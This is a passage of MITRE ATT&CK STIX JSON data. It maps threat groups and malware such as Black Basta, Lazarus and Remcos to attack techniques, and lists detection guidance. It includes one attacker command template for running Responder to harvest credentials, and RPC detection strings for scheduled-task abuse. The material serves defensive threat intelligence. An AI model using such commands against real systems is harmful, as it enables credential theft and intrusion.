"2022-04-20T00:32:09.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66932869-44bf-4422-b38c-69c9503d5db4", "type": "relationship", "created": "2020-01-14T17:23:25.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T17:23:25.291Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6693651e-b3bf-4a95-802f-f3f2f4fc810c", "created": "2022-04-20T04:04:32.884Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "versprite xpc vpn", "url": "https://versprite.com/blog/exploiting-vyprvpn-for-macos/", "description": "VerSprite. (2018, January 24). Exploiting VyprVPN for MacOS. Retrieved April 20, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for processes making abnormal calls to higher privileged processes, such as a user application connecting to a VPN service.(Citation: versprite xpc vpn)", "modified": "2022-04-20T22:15:15.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66a13868-e416-49d4-85ad-318f93f91a29", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. 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Retrieved May 5, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities CVE-2012-0158, CVE-2014-6352, CVE-2017-0199, and Adobe Flash CVE-2015-5119.(Citation: TrendMicro BlackTech June 2017)", "modified": "2022-04-06T13:21:42.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e", "type": "relationship", "created": "2017-05-31T21:33:27.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar", "description": "Cylance SPEAR Team. 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Retrieved June 24, 2021."}], "modified": "2021-10-18T17:52:32.995Z", "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions.(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)", "relationship_type": "uses", "source_ref": "malware--f464354c-7103-47c6-969b-8766f0157ed2", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--66bac3e2-3a04-4ad0-8f38-fa952e7289c6", "created": "2022-10-11T16:38:15.376Z", "revoked": false, "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T16:38:15.376Z", "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can use DNS tunneling for C2 communications.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66bb45a4-fadf-4000-9055-90f9bb206b37", "type": "relationship", "created": "2020-03-20T01:56:53.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}, {"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-20T17:34:12.557Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) can execute commands via an interactive command shell.(Citation: Palo Alto MoonWind March 2017) [MoonWind](https://attack.mitre.org/software/S0149) uses batch scripts for various purposes, including to restart and uninstall itself.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66bd7bd5-b53f-4791-a130-7278541f3fa7", "type": "relationship", "created": "2019-10-11T17:29:20.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList Griffon May 2019", "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "description": "Namestnikov, Y. and Aime, F. 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Retrieved October 11, 2019."}], "modified": "2019-10-11T17:29:20.317Z", "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .(Citation: SecureList Griffon May 2019)", "relationship_type": "uses", "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis INOCNATION", "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}], "modified": "2020-03-17T01:30:41.514Z", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) deletes its RAT installer file as it executes its DLL payload file.(Citation: Fidelis INOCNATION)", "relationship_type": "uses", "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66c79e9f-7528-4a14-9525-866325b6abce", "type": "relationship", "created": "2021-05-25T15:58:53.694Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. 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Retrieved May 24, 2021."}], "modified": "2021-10-15T23:10:53.913Z", "description": "[CostaBricks](https://attack.mitre.org/software/S0614) can implement a custom-built virtual machine mechanism to obfuscate its code.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--5d342981-5194-41e7-b33f-8e91998d7d88", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66cadf3d-bfb7-4b75-a659-06b3cb1bbd37", "type": "relationship", "created": "2019-06-28T17:40:32.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}], "modified": "2019-07-01T18:16:33.183Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66ce5052-08d8-4160-a8c9-f3e6b9e5cd1f", "type": "relationship", "created": "2020-06-18T17:27:09.388Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. 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With packet capture and the right packet decoders or byte-stream based signatures, remote invocations of these functions can be identified.\nCertain strings can be identifiers of the schtasks, by looking up the interface UUID of ITaskSchedulerService in different formats\n\n- UUID\u00a0<code>86d35949-83c9-4044-b424-db363231fd0c</code>\u00a0(decoded)\n- Hex\u00a0<code>49 59 d3 86 c9 83 44 40 b4 24 db 36 32 31 fd 0c</code>\u00a0(raw)\n- ASCII\u00a0<code>IYD@$621</code>\u00a0(printable bytes only)\n\nThis identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement an analytic.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66e5238f-c1f7-4094-8c2e-e8e41a4c12f3", "type": "relationship", "created": "2020-10-15T01:57:09.092Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-10-15T01:57:09.092Z", "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) has created self-signed digital certificates for use in HTTPS C2 traffic.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--66e7e1f3-5113-407f-a07a-299c4b9b68e2", "created": "2023-03-08T21:44:39.956Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Avertium Black Basta June 2022", "description": "Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.", "url": "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"}, {"source_name": "Check Point Black Basta October 2022", "description": "Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.", "url": "https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}, {"source_name": "Cyble Black Basta May 2022", "description": "Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.", "url": "https://blog.cyble.com/2022/05/06/black-basta-ransomware/"}, {"source_name": "Palo Alto Networks Black Basta August 2022", "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"}, {"source_name": "NCC Group Black Basta June 2022", "description": "Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.", "url": "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"}, {"source_name": "Uptycs Black Basta ESXi June 2022", "description": "Sharma, S. and Hegde, N. (2022, June 7). Black basta Ransomware Goes Cross-Platform, Now Targets ESXi Systems. Retrieved March 8, 2023.", "url": "https://www.uptycs.com/blog/black-basta-ransomware-goes-cross-platform-now-targets-esxi-systems"}, {"source_name": "Trend Micro Black Basta Spotlight September 2022", "description": "Trend Micro. (2022, September 1). Ransomware Spotlight Black Basta. Retrieved March 8, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"}, {"source_name": "Deep Instinct Black Basta August 2022", "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T00:31:40.768Z", "description": "[Black Basta](https://attack.mitre.org/software/S1070) can enumerate specific files for encryption.(Citation: Cyble Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Uptycs Black Basta ESXi June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Check Point Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--66e8d05b-6f51-461d-aec0-266970064939", "created": "2019-02-21T21:12:55.702Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT39 Jan 2019", "description": "Hawley et al. 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(2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", "url": "https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-23T14:07:20.662Z", "description": "[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.(Citation: Riskiq Remcos Jan 2018)", "relationship_type": "uses", "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66f2ff8f-abc2-4a6c-9652-89d7c824422c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Linfo May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}], "modified": "2020-03-20T02:11:07.222Z", "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.(Citation: Symantec Linfo May 2012)", "relationship_type": "uses", "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66f5e718-f910-487f-852a-98a8d752b0ba", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-17T19:22:28.803Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to create, set, copy, or delete a specified Registry key or value.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--66f7fca6-b5cc-46e4-86a1-204f4b1038fa", "created": "2022-09-30T19:10:17.645Z", "revoked": false, "external_references": [{"source_name": "Securelist Dtrack", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021.", "url": "https://securelist.com/my-name-is-dtrack/93338/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T19:10:17.645Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) has used a dropper that embeds an encrypted payload as extra data.(Citation: Securelist Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66f859b2-4bc2-4520-afd4-8f8a7b71a50c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Wiarp May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}], "modified": "2020-03-19T21:52:07.299Z", "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can inject files into running processes.(Citation: Symantec Wiarp May 2012)", "relationship_type": "uses", "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--66fe07f5-fe08-4ad1-98b6-cb300007fe42", "type": "relationship", "created": "2022-01-05T16:41:19.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:41:19.744Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has been dropped through exploitation of CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322.(Citation: Talos ZxShell Oct 2014)", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67003297-a35d-452f-b83b-34556115d15c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "modified": "2019-04-25T12:24:57.567Z", "description": "(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91", "type": "relationship", "created": "2019-02-12T19:56:02.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", "source_name": "Unit42 Xbash Sept 2018"}, {"source_name": "Trend Micro Xbash Sept 2018", "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet", "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."}], "modified": "2019-06-28T15:15:54.544Z", "description": "[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)", "relationship_type": "uses", "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--670a7586-5833-4e00-903a-c699b9810c13", "type": "relationship", "created": "2022-02-01T15:24:07.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "modified": "2022-02-04T17:00:04.309Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) executed [Responder](https://attack.mitre.org/software/S0174) using the command <code>[Responder file path] -i [IP address] -rPv</code> on a compromised host to harvest credentials and move laterally.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--670d65e8-59a9-46ae-bdb6-6cb94a0528ba", "type": "relationship", "created": "2020-04-30T18:39:20.146Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chronicle Winnti for Linux May 2019", "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}], "modified": "2020-05-04T14:24:55.161Z", "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a custom TCP protocol with four-byte XOR for command and control (C2).(Citation: Chronicle Winnti for Linux May 2019)", "relationship_type": "uses", "source_ref": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--670dc748-f1c8-4ba3-b999-f942fa42ce50", "type": "relationship", "created": "2022-03-25T00:25:48.403Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-25T00:25:48.403Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can create a WMI Event to execute a payload for persistence.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", 